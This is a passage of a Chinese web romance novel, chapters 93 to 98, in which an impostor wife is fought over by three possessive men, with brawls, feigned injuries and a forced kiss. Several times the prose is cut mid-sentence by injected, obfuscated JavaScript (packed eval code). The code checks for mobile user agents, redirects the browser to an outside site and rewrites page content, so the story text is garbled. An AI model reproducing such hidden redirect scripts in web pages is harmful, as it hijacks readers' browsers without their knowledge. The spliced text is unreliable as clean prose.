菘蓝:“别可是了,我会去解决他们,许夫人的电话绝对不能打,懂吗?” 李顺:“哦哦,知道了。” 拦下李顺后,菘蓝返回了房间,她一进去就看到沈错正跪压着许生。 沈错身上挂着伤,嘴角挂着狠厉的笑:“小崽子,长进了啊?” 许生伤得更重,俊逸的脸庞青一块紫一块,嘴角淌着血。 他的双手被拷在身后,挣扎间,手腕被磨得血肉模糊。 沈错冷笑着擒住他的手臂:“抱我老婆舒服吗?” 说完,他双手用力,摁着许生的肘关节狠狠往下一折。 咔嚓一声骨裂的脆响。 许生的手臂软绵绵地垂了下去。 他脸色瞬间惨白,哑巴再痛也发不出声音,他紧紧绷着唇,像忍受着极大的痛苦。 沈错嘴角缓缓勾起,轻蔑地呵了一声: “呵,手下败将。” “许生!” 菘蓝尖叫着推开沈错,跪坐在许生旁边,低头查看他的伤势。 沈错被她推得后退了两下。 他眼底露出难以置信的目光,怔怔地看着她去扶许生,心里有种说不出的酸涩。 他打赢了,但好像又打输了。 许生见菘蓝跑来关心他,眼底凶狠的戾气瞬间被雾气取代。 圆润下垂的狗狗眼湿漉漉的,看着可怜巴巴,委委屈屈。 他像小狗一样蹭了蹭菘蓝的手心,安慰她不要担心。 他不痛的,一点也不痛的。 菘蓝发现他的右手被生生拧断了,哽咽着哭腔,对着沈错大吼: “你怎么能对他下这么重的手!” 沈错被吼得一愣一愣的,诧异看着菘蓝。 她还是第一次这么生气地吼自己,而且还是为了他的情敌。 他双手无力地垂在身侧,整个人像是被抽空了所有力气,心脏酸软得像醋泡的柠檬。 在菘蓝看不见的角度,许生眼底的雾气飞快散去,他冲着沈错缓缓勾起了唇角。 他笑得很挑衅,笑得很得意。 他笑吟吟地动了动唇,仿佛在他耳畔轻轻说了一句: “呵,手下败将。” 第九十三章 他也会装可怜 小哑巴发不出声音,但他嘲讽得很大声。 沈错的拳头又硬了。 他冷着脸,快步走到许生旁边,揪着他的衣领,一把将他从地上拽了起来,然后趁旁边的菘蓝还没反应过来,抬腿冲着许生的心窝就是一脚。 这一脚,他用了十成的力气。 许生瞬间被踹出两米远,他摇摇晃晃地从地上爬起来,半跪着捂住肚子吐了一大口血。 少年苍白的嘴角蜿蜒着血迹,一滴一滴落在地上。 他一点也不觉得疼,因为他有人心疼。 “许生!!” 看见小哑巴又被揍得吐血,菘蓝心头一悸,连忙跑过去想查看他的伤势。 她刚往前跑了两步,就被沈错从后面拦腰抱住。 男人的手箍得很紧,手背青筋暴起。 “宝,你老公我在这里。” 他声音暗哑,带着一丝隐忍的怒意。 “沈错!你放开我!” 她拿拳头砸他,像一条跳到岸上的鱼一样,在他怀里拼命挣扎。 她看着吐血不止的许生,急红了眼。 许生是为数不多真心待她好的人,她不能眼睁睁看着他**。 沈错不肯让她过去,她冲着他的手臂就是一口。 男人看着怀里炸毛的小猫,眸色愈来愈暗沉,他没有反抗,任由她咬他,甚至怕她咬不出血印,还放松了手臂的肌肉。 让她咬了一会后,他哑着嗓子道: “宝,你要是不让我抱着,那我就能腾出手打死他了。” 言外之意。 要么让他抱着,要么让他揍人。 菘蓝瞬间不动了。 她抬头看向脸色骇人的沈错,漂亮的眸中流露出一丝怨气和怒意。 她最讨厌被人逼迫和威胁了。 沈错被她的眼神烫了一下。 他从她的眼睛里看到了单纯的讨厌、憎恶和愤怒。 他缓缓松开手,目送着她跑到了许生身边。 菘蓝搀扶着许生从地上坐起来,双手捧着他的脸,颤声道: “许生,你还能站起来吗?我送你去医院。” 她不问还好,她一问,许生就开始剧烈咳嗽。 “咳咳咳......” 小哑巴咳着咳着又吐了一大口血。 看着马上就要挂掉的样子。 他虚弱地把头靠在菘蓝怀里,偷偷冲着沈错勾唇笑了笑。 不好意思,他又赢了。 他是为姐姐受的伤,他伤的越重,姐姐就越心疼他。 他这顿打啊,可不是白挨的。 他悄悄嘲讽完沈错,立马垂着脑袋靠在菘蓝怀里装死。 他的身体真的好痛,但...... 姐姐好香,姐姐好软,姐姐好在意他,姐姐对他好温柔! 为了姐姐,他**都乐意! “喂......许生......你别睡过去啊......” 发现少年疲惫地垂着眼皮,只有进的气没有出的气,菘蓝瞬间慌了,她轻轻拍着他的脸,试图让他清醒。 “放心,他死不了,他装的。” 身后,响起一道冰冷的声音。 沈错沉着脸,快步走到许生身边,拽着他的手臂狠狠往后一扭。 在菘蓝震惊的眼神中,许生被扯断的胳膊咔嚓一声复原了。 少年瞬间睁开眼睛,诧异地瞪着沈错。 沈错居高临下地看着许生,嘴角露出一抹意味深长的笑意。 随后,他转头看向菘蓝: “他好了,不用送他去医院了。” 好了? 菘蓝好奇地捏了捏许生的胳膊,发现好像还真的复原了。 “蓝儿,我累了,我们回家吧。” 男人把她从许生身旁拽开,拉到自己怀里。 菘蓝抬眸看了沈错一眼,这次发现他脸色很憔悴,眼底乌青一片,很多天没睡好觉的样子。 突然,男人双肩一垮,像崩塌的雪山,高大的身影直直栽进了她怀里。 看到沈错倒在菘蓝怀里,李顺吓得大喊了一声: “少爷!” 李顺跑到菘蓝身旁,抹着眼泪哭诉道: “少夫人,您是不知道,自从你出事之后,少爷就一直在找您。 他已经七天七夜没有合眼了,一刻也没有休息过。 期间遇上海难,少爷还受了伤,可是他一直撑着不肯去医院,他说他就算要死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142506|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也要在死在海上.......” 男人紧闭着双眸,苍白的唇瓣毫无血色,身体重得像湿沉的木头。 听到他七天七夜不眠不休地寻找自己,菘蓝睫毛轻轻颤了颤。 这人不是有心上人的吗,这么在意她干嘛...... 李顺哭得鼻涕一把眼泪一把: “呜呜,少夫人,您不知道,少爷还写了遗书,他说您要真有个三长两短,他也不独活。” 菘蓝把沈错的一只胳膊搭在自己肩膀上,想把他搀扶起来,但奈何男人太重,她试了好几次没成功。 她看了一眼还在抹眼泪的李顺:“好了,你别哭了,来搭把手。” “欸!好嘞!” 李顺应了一声,连忙跑过来,当他的手正要碰到沈错肩膀的时候,沈错悄悄睁开右眼,狠狠瞪了他一下。 李顺立马会意: “少夫人,您先扶着少爷,我去外面叫车。” 说完,他很识相地拔腿就跑。 旁边的许生看到这一幕,惊讶地瞪大了眼睛。 他急急拽住菘蓝的衣角,用手比划道: 【姐姐,别信他,他装的。】 装的? 菘蓝低头看了眼昏迷不醒的沈错,疑惑地皱了皱眉,然后往他手臂上狠狠拧了一下。 男人没有一点反应,连睫毛都没有抖一下。 菘蓝看向许生:“他是真晕了。” 不管怎么说,他也是为了她累成这样的。 在她悄悄离开之前,她还是把他送到医院去吧。 “少夫人,您能把少爷扶下来吗?车子到了,我去门口迎一下,司机不熟悉路。” 李顺在楼下大喊。 菘蓝连忙回应:“好,我这就把他弄下去。” 她把沈错的胳膊搭在自己的右肩,左手揽着他的腰,一点一点往前挪。 没走几步,她的额头就布满了细细密密汗珠。 她只能走走停停,艰难往前挪动。 两人就像共患难的夫妻,同进同退。 在转弯的时候,沈错悄悄回头看了一眼,背着菘蓝朝许生缓缓比了个中指。 不就是装可怜装绿茶吗,谁不会啊? 第九十四章 跟前夫哥合作 车子到了楼下。 李顺在扶梯上搭了把手,帮菘蓝把沈错抬上了担架。 “少夫人,您跟少爷一辆车,我和许生少爷一辆车,我们跟在你们后面。” 李顺抬手把想跟着菘蓝上车的许生拦了下来。 “许生少爷,救护车只允许一名家属陪同,您跟我坐后面一辆车吧。” 许生握着拳头,有些不甘心地看了眼救护车。 姐姐明明是他的家人。 是他的....未婚妻..... 他什么时候才能光明正大地跟姐姐在一起....... ** 救护车上。 沈错“醒”了过来。 菘蓝坐在担架旁边,静静地靠着车厢闭眼休息。 她白皙的脸庞挂着一丝疲意,长而翘的睫毛轻轻合拢,在眼睑上覆下一层青灰色的阴影。 他的目光在她手腕的伤痕上顿了顿,然后不着痕迹地移开。 他会找出那个伤了她畜生,将那个畜生抽筋、扒骨、剜心、剥皮! 菘蓝突然觉得背后一暖,顿时睁开了眼睛。 “别动,让我好好抱抱你......” 男人把脑袋埋进她的肩窝,声音听起来很虚弱,还带着点卑微的乞求。 菘蓝想着。 等把他送到医院,她就找机会跑路了,所以也就任由男人抱着。 她肯定是要跑路的。 白楚年不可能让她有好日子过,她要是敢回沈家,他就敢上门要人。 她太清楚那个男人了。 他得不到,也不会让别人好过。 到时候,她的事情全都会被抖出来。 如果沈错知道她是个冒牌货,是个骗子,估计会比白楚年还要疯。 虽然他那天跟白楚年说,如果他被她欺骗,会选择原谅。 可她心里没有底,她也不敢去赌。 最稳妥的方案,就是她继续跑路,跟这里的一切说再见。 “宝宝,你好香.......” 男人贪恋地嗅着她颈间的气息,唇瓣在她的锁骨上来回摩挲。 感受到颈间的湿润,菘蓝身体一僵: “你......” 她连忙把男人的脑袋推到一边,狠狠瞪了他一眼:“都这样了,还不老实?” 男人哼哼唧唧: “没办法,老婆在身边,我根本忍不住,就想跟老婆贴贴。” 菘蓝冷着脸往旁边挪了挪:“那你找别的老婆贴贴吧,我讨厌粘人精。” 别的老婆? 沈错猛地抬头,诧异地看着菘蓝,觉得有些莫名其妙。 什么别的老婆?他哪有别的老婆? 看到他眼底的诧异,菘蓝心底勾起一抹冷笑。 看吧,被她说中了吧。 沈错察觉出一丝不对劲,连忙坐起身: “老婆,你该不会以为我在外面有人吧? 是哪个长舌头在你面前嚼舌根?我杀了它!” 菘蓝垂眸不语。 呵呵,狗急跳墙了。 沈错:“老婆,我对天发誓,我心里只有你一个,至始至终,永永远远只有你一个,你相信我!” 菘蓝:“嗯嗯,我相信你。” 她信个der~ 不过不管她相不相信,都不重要。 他们本来就是两个世界的人,如果不是因为徐家的委托,她连他豪车的尾灯都看不到。 今天过后,他们桥归桥路归路,再也不相见。 “老婆我三年前就......” 沈错话刚说到一半,救护车突然来了个急刹车。 “嗤——” 轮胎和地面摩擦出尖锐刺耳的长鸣,车身剧烈晃动,在惯性的作用下,菘蓝朝着车头的方向摔了过去。 “小心!” 沈错见状,长臂一舒,拽着她的手臂,一把将她拉进了怀里。 他一只手护住她的头,一只手死死拽着护栏,勉强稳住了两人的身形。 “少爷!你们没事吧,刚刚路面突然蹿出一条狗,也不知道是哪个没道德的,遛狗不拴狗!” 李顺在外面打招呼。 沈错回了句:“没事,让车开慢点,我死不了。” 说完,沈错突然想起什么: “哦对了,表舅也进医院了,估计是这几天太过担心你,忧思过度,你等会可以去看看他,他还不知道你没事,我现在给他发个消息。” 菘蓝拧了拧眉。 徐念青病了? 徐念青知道她死遁的事情,肯定不是为了她忧思过度,那就是真的生病了。 她确实要去探望一下,然后还要跟他商量接下来该怎么办。 她的马甲怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142507|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是捂不了多久了,她可以跑路,但是徐家跑不了。 很快,到了医院。 许生和沈错身上都挂了彩,去医务室包扎了。 徐念青住在909号病房,菘蓝买了一束鲜花去看望他。 看到徐念青的时候,菘蓝吓了一跳。 他比以前瘦了整整二十斤,整个人身上都没多少肉,薄薄的一层皮覆着骨头,看上去像个青灰色的骷髅架子。 见到菘蓝,徐念青也很诧异。 因为按照计划,她现在应该已经离开了海都。 菘蓝关上门,将鲜花放在床头,很抱歉道: “对不起,徐老板,我失败了.......” 短暂的交谈后,徐念青迅速理清了现在的状况。 白楚年手里抓着致命的证据。 也就是说,菘蓝就算被沈家找到了,也不能再回去。 因为白楚年这颗雷,不知道什么时候会爆掉。 如果这颗雷爆了,不仅是菘蓝,徐家也要被波及。 菘蓝想了想,朝徐念青鞠了个躬,语气诚恳道: “很对不起,徐老板,给您添麻烦了,要不,我把酬金都退给您吧。” 两件事,她都没有做好,也不好意思再拿酬金。 徐念青叹了口气道: “没关系,你也别担心我们,幼蓝在国外,被我藏得很好,没有人能打扰她的生活。 我这把年纪了,身体又这幅样子,也没多少年活头了。 沈家还能把我们怎么样呢?无非就是商业倾轧,资源挤兑。 钱财和名声在我眼里,都是浮云罢了。 我唯一解不开的心结就是我的妹妹....... 我......我每天都会梦到她,她哭着喊着让我救她出去.......” 他说着说着,哭了起来,肩膀耸动,泪流不止。 “我是个没用的哥哥,我当年护不了她,眼睁睁看着她嫁进沈家那个虎狼窝,我现在.........” 他像个孩子一样哭得哽咽,菘蓝走过去,安慰地拍着他的背。 就在这时,病房的门开了,一个人缓缓走了进来,他看着两人笑道: “你们好像陷入了麻烦,需要我帮忙吗?” 看到来人,菘蓝瞳孔猛地一缩。 白楚年!? 第九十五章 他想挽回 看到白楚年,菘蓝第一反应就是跑。 她像一只应激的猫,瞬间绷直身体,瞳仁骤然扩散,浑身的汗**都竖起来了。 白楚年眸光暗了暗,缓缓走向她,一步步把她逼进墙角。 他看着她,轻轻笑了笑: “婉婉,跟我回港城,不然我就把所有的事情都捅出去。” 菘蓝半眯着眸子,紧绷着唇角,乌黑的瞳仁闪过一抹冷光。 看来只能拼个鱼死网破了。 “你是不是以为我会这样说?认为我会这样威胁你?” 白楚年突然伸手敲了敲她的脑袋,漂亮的狐狸眼溢满了柔情。 “放心吧,我不会这样做的,我不仅不会揭发你,还会帮助你。” 嗯? 菘蓝诧异地抬起头,愣愣地看着眼前的白楚年。 这个反转实在出乎她的意料。 她戒备地后退了一步,冷冰冰道: “你什么意思?我没懂。” 看着她冰冷防备的眼神,白楚年的心兀地痛了一下。 他以前.....对她做得确实太过火了。 不过没关系,他还可以挽救,挽救他们之间极度糟糕的关系。 白楚年眸底微微漩动,他抿着薄唇,像下定了某种决心一样,突然将菘蓝紧紧拥进怀里。 他死死抱着她,感受着她温热柔软的身体,声音隐隐发颤道:“对不起......” 对不起,是他错了。 他不应该那样对她。 他不应该强迫她,不应该让她做她不想做的事,逼她成为她不想成为的样子。 她始终都是她自己。 他查看了那晚的监控。 他看到她赤着脚从三楼跳下,看到她摔进花园里,砸碎了豆豆的雪人。 也看到失去理智的她,仍然温柔地抱着豆豆,安慰他不要哭泣。 外面那么冷,她穿得那样单薄,身后还有追兵,她还耐心地给豆豆捏了一个小雪人。 在那一刻,他才真正懂她。 婉婉是她为了欺骗他,塑造出来的温柔人格。 她对他的温柔是假的,但她的温柔是真的。 婉婉不会消失,因为她是她人格底色的一部分。 她对他叛逆,倔强,不温柔,故意刺他,故意气他,是因为他做得太过分了。 真正让婉婉消失的人,不是她,而是他。 “对不起......婉婉......我向你道歉......” 男人紧紧抱着她,似乎要将她融进自己的身体,融进自己的骨髓。 “道歉就不必了,你离我远一点,别再来打扰我就行。” 虽然她不知道他为什么突然转了性,只要他别再生事,找她麻烦就好。 她的声音冰冷,漠然,没有一丝感情,白楚年心头涌起一阵酸楚,他柔声道: “婉婉,你不要对我这么冷漠,我是来帮你的。” 菘蓝:“帮我?帮我什么?” 白楚年痴痴地看着她: “你想调查的事情,我也可以帮你调查,你想遮掩的东西,我也可以帮你遮掩。” 菘蓝心底微微一动:“哦?” 白楚年:“你可以回到沈家,但是你必须答应我两件事。 第一,你不能让沈错碰你。 第二,等你做完这件事,跟我回港城。 我不逼你嫁给我,我只求你能陪在我身边一段时间,让我好好补偿你。” “好,可以。” 菘蓝毫不犹豫地答应了。 以后的事情以后再说,先把眼前这一关过掉。 白楚年牵起她的手,眼底浮现点点笑意: “婉婉,你可不能再骗我,你答应我了。” “嗯,我不骗你。” 她语气很诚恳,心底却冷笑不止。 诚恳归诚恳,可她是个骗子呀,骗子的话哪里能信。 ** 沈错在医院打完吊针后,便撑着“虚弱”的身体,带着菘蓝回到了沈园。 水云居。 “老婆......水.......” 他脸色苍白地躺在床上,虚弱无力地喊了一声。 菘蓝倒了一杯水,递到沈错嘴边。 “老婆......烫........” 他声音里带着一丝软软的委屈。 菘蓝冲着水杯轻轻吹了吹。 沈错支起“虚弱无力”的身体坐了起来,软软地靠在菘蓝怀里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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像哄孩子一样,她足足哄了沈错两个小时,才把他从自己身上扒拉下来。 她去了花园清静清静。 屋里的男人太粘人了,让她有点窒息,她要呼吸呼吸新鲜空气。 当她走到回廊的时候,偏房的门突然打开,一只手伸了出来,狠狠把她拽了进去。 “唔......” 她被人捂住了嘴。 “婉婉,是我......” 第九十六章 两人修罗场 菘蓝怔愣地看着白楚年:“你怎么在这里?” 白楚年将长发撩到耳侧,微微一笑道:“我住进沈园了啊?” 菘蓝瞬间提高了声音:“什么?” 男人紧紧圈着她,将下巴放在她的头顶,声音温软道:“我不放心你嘛,所以我要来看着你。” 他跟沈老爷子说,说谈谈港口的生意,便找理由住了下来。 他还是不放心留她一个人在沈园。 万一沈错非要碰她,非要强迫她怎么办? 她那么美,那么迷人,是个男人都把控不住的。 万一她不守信用,又偷偷跑了怎么办? 她在他这里的信用基本为零。 所以啊,他必须要看着她。 “婉婉,作为你的老公,我有保护你的义务。” 他贴着她的耳廓,喷吐着灼热的气息,眼底流露着病态的迷恋和狂热。 菘蓝有些无语。 这死狐狸又开始犯病了。 “婉婉,我也渴了,想喝水........” 他指了指自己苍白干涸的唇。 菘蓝没好气地瞪了他一眼:“你又没生病,有手有脚的,自己去倒。” 听闻,白楚年顿了顿,缓缓撩起上衣,露出裹着绷带的胸膛。 他扯掉身上的纱布,胸前赫然出现了一道狰狞的伤疤。 他抓着菘蓝的手,缓缓摸了上去。 “婉婉,这是你给我留下的印记,你当时再往心脏左边一点点,我就没了。” 她当时用钢笔,直接给他捅了个对穿。 他在急救室里躺了一天一夜,第二天早上才救回来。 看着他心口的伤,菘蓝拧了拧眉。 她完全没有印象。 她不记得那晚的事情了。 “婉婉,我没有责怪你的意思,我只是想喝点水.......” 他的眼底闪过一丝卑微的乞求。 “给你,水。” 她给他倒了一杯茶,动作僵硬地递到他嘴边。 白楚年扫了一眼:“烫.....要吹吹......” 菘蓝:“.........” 她端起茶碗吹了两下。 “喝。” 她往外蹦了一个字。 “这水太苦,我喝不下,我想喝你嘴里的.....” 嗯。 这话听着很耳熟,不久前刚有个男人对她说过。 她皱眉看向白楚年:“你监视我?” 白楚年抿了抿唇,紧紧箍着她的腰,声音沙哑道: “婉婉,我想我还是会吃醋。 我看到你跟沈错在一起,跟他说话聊天,给他倒水,我都嫉妒得要发疯。 就算知道你是演给他看的,我也受不了。 我更受不了他喊你老婆,他算什么东西?他一个插足者,他也配? 婉婉,我还是想带你离开,现在立刻马上带你离开。” 就在这时。 房间里的某个角落突然发出一声闷响。 像是拳头砸在柜门上的声音。 菘蓝眼皮子一跳,朝角落里看去。 藏在柜子里的许生一脚踹开门,蹿了出来。 他偷偷潜进来,本来是想等着姐姐从这里经过的。 不曾想,却撞到了这一幕。 少年像只发疯的野狼,快步上前,冲着抱住菘蓝的白楚年就是一拳。 白楚年也没想到屋里会有人,他目光一凛,抱着菘蓝转了个圈,轻松躲过了少年的攻击。 【放下她。】 少年红着眼睛,比划道。 白楚年皱了皱眉。 他认识许生,也知道他是沈错的弟弟。 白楚年眯起眸子:“怎么?你想为你哥打抱不平?我劝你少管闲事。” 许生摇了摇头,缓缓看向菘蓝。 他的目光有震惊、有不解、还有一丝受伤和委屈。 他震惊的是姐姐外面居然还有狗。 他委屈的是姐姐居然一直瞒着他。 他难过的是他发现自己好像不是姐姐的唯一。 不是唯一知道她秘密的人。 菘蓝被他受伤的眼神看得无地自容,她果断地推开白楚年,保持一定的距离。 许生见状,一把将菘蓝拽到自己怀里,紧紧攥着她的手,向对方宣誓**。 看到两人握着的手,白楚年狭长的眸子危险地眯起。 他抬起下巴,看向菘蓝,轻声道:“婉婉,这是怎么回事?你能跟我解释一下吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142509|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 解释个毛线啊! 她怎么解释啊! 菘蓝脑瓜子嗡嗡的。 她从没想到今天会遇到这种局面。 许生上前一步,把菘蓝护在身后,他抬起手,缓缓比划道: 【我来解释,我是她的未婚夫,她是我的未婚妻。】 白楚年看不懂手语,但他看懂了许生眼底浓浓的警告和占有欲。 他扬起眉梢,眸中闪烁着诡谲森寒的冷光,冲着菘蓝道: “婉婉,你该不会,除了我,还有别的老公吧?” “..........” 菘蓝沉默了,抿唇不语。 何止啊。 像他这样的便宜前夫,她有三个呢....... 屋子静悄悄的,陷入一种诡异的、微妙的沉默。 看着她抿唇不语的样子,白楚年突然笑了起来。 “哈哈哈.......” 他怒极反笑,笑得眼泪都出来了。 “哈哈哈......居然让我说中了,居然是真的!” 菘蓝想了想,回应了一句:“你看过我的资料,应该清楚我是什么样的人.......” 她既然是专门干这一行的,就不可能只接一个委托。 自然也不可能只有一个前夫。 “你要是能接受就接受,接受不了就算了。 你想揭发我就揭发我吧,我累了,也不想再逃避了。” 她踉跄着后退了一步靠在墙上,神情疲惫地看着天花板,一脸认命的样子。 她发丝凌乱,冷白的小脸没有丝毫血色,她像一朵突然失去了精神气的花,瞬间萎靡了下去。 漆黑的眸子没有一丝光亮,只默默流下一滴透着绝望的泪。 这样的她,戳得白楚年心脏狠狠一痛。 如果他现在揭穿她,她会恨他的吧。 他不想她再恨她,他不要她的恨了,他只想对她好。 他想了想,两手垂在身侧,很卑微道: “婉婉,我......我今天可以,可以当做没看见他.......” 听闻,菘蓝垂着眸子,睫毛颤了颤。 她眼底的雾气瞬间消失,化作一抹一闪而逝的狡黠。 第九十七章 撞破 小哑巴看到菘蓝哭了,心疼地为她擦去眼角的泪珠。 【姐姐,不哭,我会保护你。】 他动作很轻柔,像在擦拭世界上最珍贵的宝物。 白楚年突然觉得自己像个反派,他连忙解释道: “没有没有,婉婉我没有想揭穿你的意思,我只是一时有些难以接受...... 婉婉你别哭,我不会做任何对你不好的事情,我再也不会.....” 听到最后一句话,许生眉头一皱,微分碎盖遮住的眸光瞬间闪过一丝锋芒。 他想起来了。 那天,他让人到发现姐姐的地点去调查,发现附近有一片别墅群,姐姐很有可能就是从那里逃出来的,而那幢别墅群就是白家的产业。 少年绷着唇角,握紧了拳头,上前两步,冲着白楚年就是狠狠一拳。 敢伤害姐姐,**! 白楚年猝不及防挨了一拳,胸膛的伤口瞬间崩裂,棉白的绸衣一片血红。 许生愣住了,低头看了看拳头。 他刚刚那一拳的威力有这么大吗? “他胸口有伤,是我弄的。” 菘蓝睫毛颤了颤,解释道。 【姐姐干得漂亮。】 许生朝她竖起了大拇指。 小哑巴顿时开心了。 因为他发现姐姐跟白楚年之间的关系好像并不怎么好。 他才不管其他人跟姐姐是什么关系,姐姐只要跟他天下第一好就行。 “婉婉.....咳咳......” 白楚年吐了几口血,身形踉跄,他单膝跪在地上,勉强支撑起身体,看着眼角含泪的菘蓝道: “婉婉,以前的事情,都是我错,我不会再伤害你,我只是想补偿你,帮助你,你相信我。” 菘蓝垂眸看着他,没有说话,似乎在思考这话的可信度。 看到男人这样表忠心,许生圆润的眼睛瞪得老大。 他急急朝菘蓝比划手势: 【姐姐,千万别信他,尤其是对你下跪的男人。】 这种男人最极端了,什么事都干得出来。 “嗡嗡.......嗡嗡........” 菘蓝的电话突然响了,来电显示是沈错。 她想了想,点了接听。 电话那头,传出了沈错的声音: “老婆,你在哪,我怎么找不到你......” 自从她回了沈家之后,沈错就变得特别粘人,她走到哪他都要跟到哪,几分钟看不到她,都要给她打电话。 害怕沈错出来找她,她连忙回道: “我就在园子里,马上就回去了。” 挂掉电话,她看向偏院的两个男人:“我要走了,你们不要再打架了。” 说完,她便推门走了出去。 许生看到她离开,连忙追了出去。 他刚见到姐姐,还没说上几句话,姐姐又要去见别的男人。 他心里不平衡。 两人一前一后刚出了门,迎面就撞上了一个身影。 沈错拿着手机,错愕地看着从屋子里出来的两人,漂亮的瑞凤眼泛起点点幽光。 他双手抱胸,目光在两人的脸上扫来扫去,当他看到菘蓝哭红的眼尾,幽深的眸底曳出一抹冷戾。 “许生,我好像警告过你,不准再靠近我老婆,也不准再进入沈园。” 他咬着后槽牙,一个字一个字地往外蹦。 “你现在是自己把腿打断?还是我来把你的腿打断?” 菘蓝和许生都没想到会突然碰到沈错,两个人都愣了一下。 “你们刚刚在屋子里干什么?” 男人一步步逼近,声音逐渐低沉,带着一丝刻意压抑的怒气。 菘蓝抿着唇角,小声回应道:“我......我们没有干什么.......” 她的语言很苍白,苍白到没有一丝说服力,跟在沈错身后的李顺都看不下去了,他气愤地跺了跺脚。 哎呀!孤男寡女的,共处一室还能干什么? 只能说许生少爷胆子太大了,偷人都偷到人家家里来了。 “哐当.......” 沈错一脚踹开偏院的门,然后猝不及防地看到了白楚年。 他没有想到,屋子里居然还有一个人。 他疑惑地皱了皱眉。 李顺更是瞪大了眼睛。 不是,这啥情况,屋子里怎么还有一个? 他怎么有点看不懂了呢? 白楚年看到沈错,朝他笑了笑道: “我住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142510|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来的时候,沈爷爷让我随便选,我就选到了水云居的偏院,你不会介意吧?” “介意,滚。” 沈错干脆利落地蹦出三个字,多一个字都不想说。 呵呵,选到这种地方,专门来听墙角的吧。 上次他去找白楚年的时候就发现了,这死狐狸好像对他跟他夫人有意见,各种挑拨他们夫妻关系。 根据男人的直觉,他肯定是嫉妒,嫉妒他有这么好的老婆。 他自己婚姻不幸福,老婆跑了,就来祸害别人家庭。 哼,现在说不定也看上他老婆了,想撬他墙角呢。 想到这里,沈错立即吩咐佣人: “把白楚年的东西都搬到外苑,他要不是不搬,那就连人一起丢出去。” 说完,他又转头狠狠瞪了一眼许生: “你也滚,趁我还没动手打断你的双腿之前。” 要不是干妈快到了,这小子今天绝对不可能活着走出沈园。 随后,他把菘蓝拉到自己怀里,抬手为她擦去眼角的泪水,问道: “怎么会哭了?是不是他们两个欺负你了?” “没......没有......我就是刚刚被白先生讲的故事感动了。” 菘蓝面不改色心不跳地撒谎。 “哦,原来你们刚刚聚在一起讲故事啊.......” 沈错点了点头,神情似笑非笑。 “那我也好奇,是什么故事把夫人感动到落泪,夫人跟我回去,慢慢讲给我听。” 他手臂骤然收紧,不等菘蓝反应,一个扛抱,把她抗到肩头。 就这么把人扛回水云居后,他拉开窗帘,打开窗户,把人抱到窗台上,抬起她的下巴狠狠吻了上去。 他的吻,强势、凶悍、不容拒绝。 像憋了很久不下雨的闷热夏夜,骤然降至的暴风雨。 “唔.......” 菘蓝被迫仰着下巴,承受着他的疯狂。 偏院的两人都还没走远,他们一抬头就看到菘蓝被压在窗台上猛亲。 许生脸色瞬间铁青,白楚年垂在身侧的手骤然缩紧。 沈错一边疯狂吻着菘蓝,一边居高临下地朝回望的两人,投去一个清浅的、蔑视的眼神。 第九十八章 暗戳戳较劲 他像惩罚,又像宣泄,将菘蓝抵在窗台上,狠狠地吻。 吻得对方双颊酡红,几乎喘不过气,他才肯放开。 “以后还背着我出去见别的男人,听别的男人讲故事吗?嗯?” 他沙哑的尾音逐渐上扬,带着一丝不均匀的喘息。 “嗯.......” 菘蓝水润的唇瓣微微红肿,她有点缺氧,脑袋晕晕的,迷迷糊糊地嗯了一声。 “嗯什么嗯,我问你话呢。” 男人左手撑在窗台上,抱着她的右手逐渐收紧。 “嗯......痛.......” 她皱着眉,轻轻嘤咛了一声。 男人瞬间松了手劲,但依旧脸色阴沉地看着她,找她要个交代。 她摇了摇头,娇娇软软道:“不了,不敢了。” 她语气乖极了,跟平时的张牙舞爪完全不一样。 像一只知道自己犯错的小猫,低垂着头。 沈错瞬间开心了,他捏起她的下巴:“知道错了就好,以后不许再犯。” 